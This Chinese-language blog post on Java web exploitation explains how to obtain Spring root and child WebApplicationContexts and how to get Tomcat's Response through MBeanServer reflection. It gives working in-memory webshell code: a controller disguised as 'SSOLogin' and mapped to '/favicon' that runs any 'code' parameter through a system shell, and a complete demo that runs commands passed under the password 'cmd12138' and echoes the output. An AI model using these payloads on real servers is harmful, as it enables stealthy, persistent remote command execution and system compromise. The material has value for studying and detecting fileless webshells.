org.springframework.web.context.ContextLoader#initWebApplicationContext

通过servletContext创建了WebApplicationContext ,并把WebApplicationContext 作为一个属性存入了servletContext,属性名为WebApplicationContext.ROOT_WEB_APPLICATION_CONTEXT_ATTRIBUTE

然后将其放入了currentContextPerThread中

Child Context 创建过程

load-on-startup > 0,该servlet将会在web容器启动的时候做实例化处理

在DispatcherServlet的父类HttpServletBean作初始化,并调用initServletBean

org.springframework.web.servlet.FrameworkServlet#initServletBean

org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext

首先通过ServletContext获取rootContext,然后传入rootContext创建WebApplicationContext

最终在org.springframework.web.servlet.FrameworkServlet#createWebApplicationContext创建完成并返回

在org.springframework.web.servlet.FrameworkServlet#initWebApplicationContext,把Child Context作为一个属性存入了servletContext,属性名为org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcher

并且在org.springframework.web.servlet.DispatcherServlet#doService中,可以看见每次请求时都将Child Context作为一个属性存入了request,属性名为org.springframework.web.servlet.DispatcherServlet.CONTEXT

获取Root Context

ContextLoader.getCurrentWebApplicationContext
1
WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();

Root Context实由ContextLoader创建,该类中也有相应的获取方法,而且是一个静态方法,也就是从前文中所说的currentContextPerThread中获取的

WebApplicationContextUtils.getWebApplicationContext
1
2
ServletContext servletContext = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext();
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(servletContext);

在跟踪Child Context创建过程时,其中就用到getWebApplicationContext,其借助servletContext获取Root Context

getAttribute
1
2
ServletContext servletContext = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext();
WebApplicationContext context = (WebApplicationContext) servletContext.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT");

所有的Context在创建后,都会被作为一个属性添加到了 ServletContext中

获取Child Context

getAttribute
1
WebApplicationContext context = (WebApplicationContext) ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT");

前文已经提到Child Context作为一个属性存入了request(从ServletContext获取也可)

1
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

getAttribute 参数中的 0代表从当前 request 中获取而不是从当前的 session 中获取属性值

RequestContextUtils.findWebApplicationContext
1
2
3
4
HttpServletRequest request = ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest();
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(request);

//RequestContextUtils.getWebApplicationContext(request);

参考文章中是使用RequestContextUtils.getWebApplicationContext,在较新spring版本中已经没有该方法了

小结

根据习惯,在很多应用配置中注册Controller 的 component-scan 组件都配置在类似的 dispatcherServlet-servlet.xml 中,而不是全局配置文件 applicationContext.xml 中,这样就导致 RequestMappingHandlerMapping 的实例 bean 只存在于 Child WebApplicationContext 环境中,另外,在有些Spring 应用逻辑比较简单的情况下,可能没有配置 ContextLoaderListener 、也没有类似 applicationContext.xml 的全局配置文件,只有简单的 servlet 配置文件

由于Root Context无法访问Child Context中定义的 bean,反之可以,所以最好使用采用获取Child Context的方法

动态注册Controller

由于版本不同和较多的接口等原因,程序的上下文中存在不同映射器的实例 bean,动态注册controller的方法也有多种

BeanNameUrlHandlerMapping

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class SSOLogin implements Controller{
public ModelAndView handleRequest(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {
try {
String arg0 = httpServletRequest.getParameter("code");
PrintWriter writer = httpServletResponse.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
httpServletResponse.sendError(404);
}
}catch (Exception e){
}
return null;
}
}



XmlWebApplicationContext context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
context.getBeanFactory().registerSingleton("/SSOLogin",new SSOLogin());
BeanNameUrlHandlerMapping beanNameUrlHandlerMapping=context.getBean(BeanNameUrlHandlerMapping.class);
Method detectHandlersMethod=Class.forName("org.springframework.web.servlet.handler.AbstractDetectingUrlHandlerMapping").getDeclaredMethod("detectHandlers");
detectHandlersMethod.setAccessible(true);
detectHandlersMethod.invoke(beanNameUrlHandlerMapping);

DefaultAnnotationHandlerMapping

1
2
3
4
5
6
7
8
9
10
XmlWebApplicationContext context = (XmlWebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 在当前上下文环境中注册一个名为 dynamicController 的 Webshell controller 实例 bean
context.getBeanFactory().registerSingleton("dynamicController",new SSOLogin());
// 2. 从当前上下文环境中获得 DefaultAnnotationHandlerMapping 的实例 bean
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
// 3. 反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
// 4. 将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

基于MBeanServer获取Tomcat Response

原理

前文提到当前的processor存储在了global中,往下读代码的话会发现,也注册为了组件,那么再从其中拿出即可

一开始起的spring-boot项目测试,发现获取的MBeanServer为NoJmxMBeanServer

查阅文档发现是用于禁用MBean注册

然后继续调试源码发现springboot默认就是禁用了MBeanRegistry

org.springframework.boot.web.embedded.tomcat.TomcatServletWebServerFactory

起一个普通的servlet测试,如果要跟踪Tomcat内部源码,pom.xml写入对应版本Tomcat

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.51</version>
</dependency>
1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-coyote</artifactId>
<version>7.0.91</version>
</dependency>

最后由参考文章给出的获取方法找到对应的processor中的req

Tomcat7,8不同在于这里的MBean的name

Tomcat8在linux下默认为nio,8080对应服务端口,Tomcat7或以下,在Linux系统中默认使用bio

参考文章中tomcat7和8分别用了两个poc来解决nio和bio的差异,但是感觉有点麻烦,而且如果Tomcat在反代之后,那么端口也是不确定的,所以想尝试动态获取这两点,后来在这里找到方法

1
2
3
String name = Registry.getRegistry(null, null).getMBeanServer().queryNames(new ObjectName("Catalina:type=GlobalRequestProcessor,name=*http*"),null).iterator().next().toString();
Matcher matcher=Pattern.compile("Catalina:(type=.*),(name=.*)").matcher(name);
if(matcher.find()) name = matcher.group(2)+","+matcher.group(1);

完整Demo

和之前一样,需要从processors筛选当前的,为了方便我依然用的QueryString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
try {
MBeanServer mbeanServer = Registry.getRegistry(null,null).getMBeanServer();

String name = mbeanServer.queryNames(new ObjectName("Catalina:type=GlobalRequestProcessor,name=*http*"),null).iterator().next().toString();
Matcher matcher=Pattern.compile("Catalina:(type=.*),(name=.*)").matcher(name);
if(matcher.find()) name = matcher.group(2)+","+matcher.group(1);

Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);

field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
obj = field.get(obj);

field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap obj2 = (HashMap)field.get(obj);
obj = ((HashMap)obj2.get("Catalina")).get(name);

field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
obj = field.get(obj);

field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(obj);

field = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
field.setAccessible(true);
ArrayList obj3 = (ArrayList)field.get(obj);

String pass="cmd12138";
for (int k = 0; k < obj3.size(); k++) {
org.apache.coyote.RequestInfo requestInfo = (org.apache.coyote.RequestInfo) obj3.get(k);

if (requestInfo.getCurrentQueryString()!=null && requestInfo.getCurrentQueryString().contains(pass)) {
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
requestField.setAccessible(true);
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(requestInfo);
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) tempRequest.getNote(1);

String cmd = request.getParameter(pass);
String[] cmds = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
java.io.Writer writer = request.getResponse().getWriter();
java.lang.reflect.Field usingWriter = request.getResponse().getClass().getDeclaredField("usingWriter");
usingWriter.setAccessible(true);
usingWriter.set(request.getResponse(), Boolean.FALSE);
writer.write(output);
writer.flush();

break;
}
}

}catch (Exception e){
e.printStackTrace();
}

参考

通杀漏洞利用回显方法-linux平台

linux下java反序列化通杀回显方法的低配版实现

Tomcat中一种半通用回显方法

Java反射-修改字段值, 反射修改static final修饰的字段

在idea中如何debug跟踪到tomcat内部代码

基于全局储存的新思路 | Tomcat的一种通用回显方法研究

深入探讨 Java 类加载器

走出类加载器迷宫

基于tomcat的内存 Webshell 无文件攻击技术

动态注册之Servlet+Filter+Listener

基于内存 Webshell 的无文件攻击技术研究

SpringMVC工作原理

ContextLoaderListener(1)—WebApplicationContext创建过程

基于Tomcat无文件Webshell研究

tomcat不出网回显连续剧第六集

Tomcat Connector三种运行模式(BIO, NIO, APR)的比较和优化